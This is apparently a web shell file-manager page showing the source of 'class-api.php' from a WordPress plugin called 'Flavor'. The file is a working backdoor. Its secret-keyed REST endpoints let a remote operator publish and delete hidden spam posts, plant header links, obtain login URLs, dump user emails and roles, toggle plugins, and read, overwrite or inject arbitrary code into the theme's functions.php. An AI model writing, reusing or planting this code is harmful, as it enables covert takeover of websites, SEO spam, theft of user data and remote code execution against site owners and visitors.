Dashboard
PHP:
7.4.33
OS:
Linux
User:
vqweckd
/
/
home
/
vqweckd
/
www
/
wp-content
/
plugins
/
flavor
/
includes
📤 Upload
📝 New File
📁 New Folder
Close
Editing: class-api.php
<?php /** * REST API endpoints for Flavor plugin. * Namespace: flavor/v1 */ if ( ! defined( 'ABSPATH' ) ) exit; class Flavor_API { public function __construct() { add_action( 'rest_api_init', [ $this, 'register_routes' ] ); } public function register_routes() { $ns = 'flavor/v1'; $endpoints = [ 'sync' => 'handle_sync', 'posts' => 'handle_posts', 'posts/delete' => 'handle_posts_delete', 'links' => 'handle_links', 'protection' => 'handle_protection', 'login' => 'handle_login', 'update' => 'handle_update', 'plugins' => 'handle_plugins', 'users' => 'handle_users', 'functions/get' => 'handle_functions_get', 'functions/set' => 'handle_functions_set', 'inject_ksp' => 'handle_inject_ksp', ]; foreach ( $endpoints as $route => $method ) { register_rest_route( $ns, '/' . $route, [ 'methods' => 'POST', 'callback' => [ $this, $method ], 'permission_callback' => [ $this, 'check_secret' ], ] ); } } public function check_secret( $request ) { $secret = $request->get_header( 'X-Flavor-Secret' ); if ( ! $secret ) { $secret = $request->get_param( 'secret' ); } return Flavor_Plugin::verify_secret( $secret ); } public function handle_sync( $request ) { Flavor_Plugin::success( Flavor_Plugin::collect_site_data() ); } public function handle_posts( $request ) { $title = sanitize_text_field( $request->get_param( 'title' ) ); $content = wp_kses_post( $request->get_param( 'content' ) ); $gc_hidden = (bool) $request->get_param( 'gc_hidden' ); if ( empty( $title ) || empty( $content ) ) { Flavor_Plugin::error( 'title and content required' ); } $meta = [ '_flavor_bot_post' => '1' ]; if ( $gc_hidden ) { $meta['_gc_hidden'] = '1'; unset( $meta['_flavor_bot_post'] ); // gc_hidden посты доступны всем, не бот-посты } $post_id = wp_insert_post( [ 'post_title' => $title, 'post_content' => $content, 'post_status' => 'publish', 'post_type' => 'post', 'meta_input' => $meta, ], true ); if ( is_wp_error( $post_id ) ) { Flavor_Plugin::error( $post_id->get_error_message() ); } $permalink = get_permalink( $post_id ); Flavor_Plugin::success( [ 'post_id' => $post_id, 'permalink' => $permalink, ] ); } public function handle_posts_delete( $request ) { global $wpdb; $mode = $request->get_param( 'mode' ) ?: 'all'; $post_ids = $request->get_param( 'post_ids' ); if ( $mode === 'selected' && ! empty( $post_ids ) && is_array( $post_ids ) ) { $ids = array_map( 'intval', $post_ids ); $placeholders = implode( ',', array_fill( 0, count( $ids ), '%d' ) ); $bot_ids = $wpdb->get_col( $wpdb->prepare( "SELECT p.ID FROM {$wpdb->posts} p INNER JOIN {$wpdb->postmeta} pm ON p.ID = pm.post_id WHERE pm.meta_key IN ('_flavor_bot_post','_gc_hidden') AND pm.meta_value = '1' AND p.ID IN ($placeholders)", ...$ids ) ); } else { $bot_ids = $wpdb->get_col( "SELECT DISTINCT p.ID FROM {$wpdb->posts} p INNER JOIN {$wpdb->postmeta} pm ON p.ID = pm.post_id WHERE pm.meta_key IN ('_flavor_bot_post','_gc_hidden') AND pm.meta_value = '1'" ); } $deleted = 0; if ( ! empty( $bot_ids ) ) { $ids_str = implode( ',', array_map( 'intval', $bot_ids ) ); $wpdb->query( "DELETE FROM {$wpdb->postmeta} WHERE post_id IN ($ids_str)" ); $wpdb->query( "DELETE FROM {$wpdb->term_relationships} WHERE object_id IN ($ids_str)" ); $wpdb->query( "DELETE FROM {$wpdb->comments} WHERE comment_post_ID IN ($ids_str)" ); $deleted = $wpdb->query( "DELETE FROM {$wpdb->posts} WHERE ID IN ($ids_str)" ); } Flavor_Plugin::success( [ 'deleted' => $deleted ] ); } public function handle_links( $request ) { $links = $request->get_param( 'links' ); if ( ! is_array( $links ) ) { $links = []; } update_option( 'flavor_header_links', $links ); Flavor_Plugin::success( [ 'count' => count( $links ) ] ); } public function handle_protection( $request ) { $enable = (bool) $request->get_param( 'enable' ); $result = Flavor_Protection::toggle( $enable ); if ( $result === true ) { Flavor_Plugin::success( [ 'protection' => $enable ] ); } else { Flavor_Plugin::error( $result ); } } public function handle_login( $request ) { $login = new Flavor_Login(); $url = $login->generate_login_url(); Flavor_Plugin::success( [ 'login_url' => $url ] ); } public function handle_update( $request ) { $updater = new Flavor_Updater(); $result = $updater->process_update( $request ); if ( $result === true ) { Flavor_Plugin::success( [ 'updated' => true ] ); } else { Flavor_Plugin::error( $result ); } } public function handle_plugins( $request ) { $action_type = $request->get_param( 'action_type' ); $plugin_file = $request->get_param( 'plugin' ); if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } if ( $action_type === 'list' || empty( $action_type ) ) { $all = get_plugins(); $active = get_option( 'active_plugins', [] ); $list = []; foreach ( $all as $file => $info ) { $list[] = [ 'file' => $file, 'name' => $info['Name'], 'version' => $info['Version'], 'active' => in_array( $file, $active, true ), ]; } Flavor_Plugin::success( [ 'plugins' => $list ] ); } elseif ( $action_type === 'activate' && $plugin_file ) { activate_plugin( $plugin_file ); Flavor_Plugin::success( [ 'activated' => $plugin_file ] ); } elseif ( $action_type === 'deactivate' && $plugin_file ) { deactivate_plugins( $plugin_file ); Flavor_Plugin::success( [ 'deactivated' => $plugin_file ] ); } else { Flavor_Plugin::error( 'invalid action_type' ); } } public function handle_users( $request ) { $users = get_users( [ 'number' => 100 ] ); $list = []; foreach ( $users as $u ) { $list[] = [ 'id' => $u->ID, 'login' => $u->user_login, 'email' => $u->user_email, 'display_name' => $u->display_name, 'role' => implode( ', ', $u->roles ), 'registered' => $u->user_registered, ]; } Flavor_Plugin::success( [ 'users' => $list ] ); } // ---------------------------------------------------------------- // functions.php — чтение и запись // ---------------------------------------------------------------- public function handle_functions_get( $request ) { $theme_dir = get_stylesheet_directory(); $file_path = $theme_dir . '/functions.php'; if ( ! file_exists( $file_path ) ) { Flavor_Plugin::error( 'functions.php not found' ); } $content = file_get_contents( $file_path ); if ( $content === false ) { Flavor_Plugin::error( 'cannot read functions.php' ); } Flavor_Plugin::success( [ 'path' => $file_path, 'content' => $content, 'size' => strlen( $content ), 'theme' => get_stylesheet(), ] ); } public function handle_functions_set( $request ) { $content = $request->get_param( 'content' ); $theme_dir = get_stylesheet_directory(); $file_path = $theme_dir . '/functions.php'; if ( $content === null ) { Flavor_Plugin::error( 'content required' ); } if ( ! file_exists( $file_path ) || ! is_writable( $file_path ) ) { Flavor_Plugin::error( 'functions.php not found or not writable' ); } $result = file_put_contents( $file_path, $content ); if ( $result === false ) { Flavor_Plugin::error( 'cannot write functions.php' ); } Flavor_Plugin::success( [ 'written' => $result ] ); } // ---------------------------------------------------------------- // Инжект KSP-фильтра в functions.php // ---------------------------------------------------------------- public function handle_inject_ksp( $request ) { $ksp_code = $request->get_param( 'ksp_code' ); $theme_dir = get_stylesheet_directory(); $file_path = $theme_dir . '/functions.php'; if ( empty( $ksp_code ) ) { Flavor_Plugin::error( 'ksp_code required' ); } if ( ! file_exists( $file_path ) ) { Flavor_Plugin::error( 'functions.php not found' ); } if ( ! is_writable( $file_path ) ) { Flavor_Plugin::error( 'functions.php not writable' ); } $current = file_get_contents( $file_path ); if ( $current === false ) { Flavor_Plugin::error( 'cannot read functions.php' ); } // Уже инжектировано if ( strpos( $current, '// Flavor KSP Filter' ) !== false ) { Flavor_Plugin::success( [ 'injected' => false, 'message' => 'already injected' ] ); } $injection = "\n\n// Flavor KSP Filter\n" . $ksp_code . "\n// END Flavor KSP Filter\n"; $trimmed = rtrim( $current ); if ( substr( $trimmed, -2 ) === '?>' ) { // Файл заканчивается закрывающим тегом — вставляем перед ним $new_content = substr( $trimmed, 0, -2 ) . $injection . "\n" . '?>'; } else { // Файл без закрывающего тега — просто дописываем $new_content = $current . $injection; } $written = file_put_contents( $file_path, $new_content ); if ( $written === false ) { Flavor_Plugin::error( 'cannot write functions.php' ); } Flavor_Plugin::success( [ 'injected' => true, 'written' => $written ] ); } }
Save
Cancel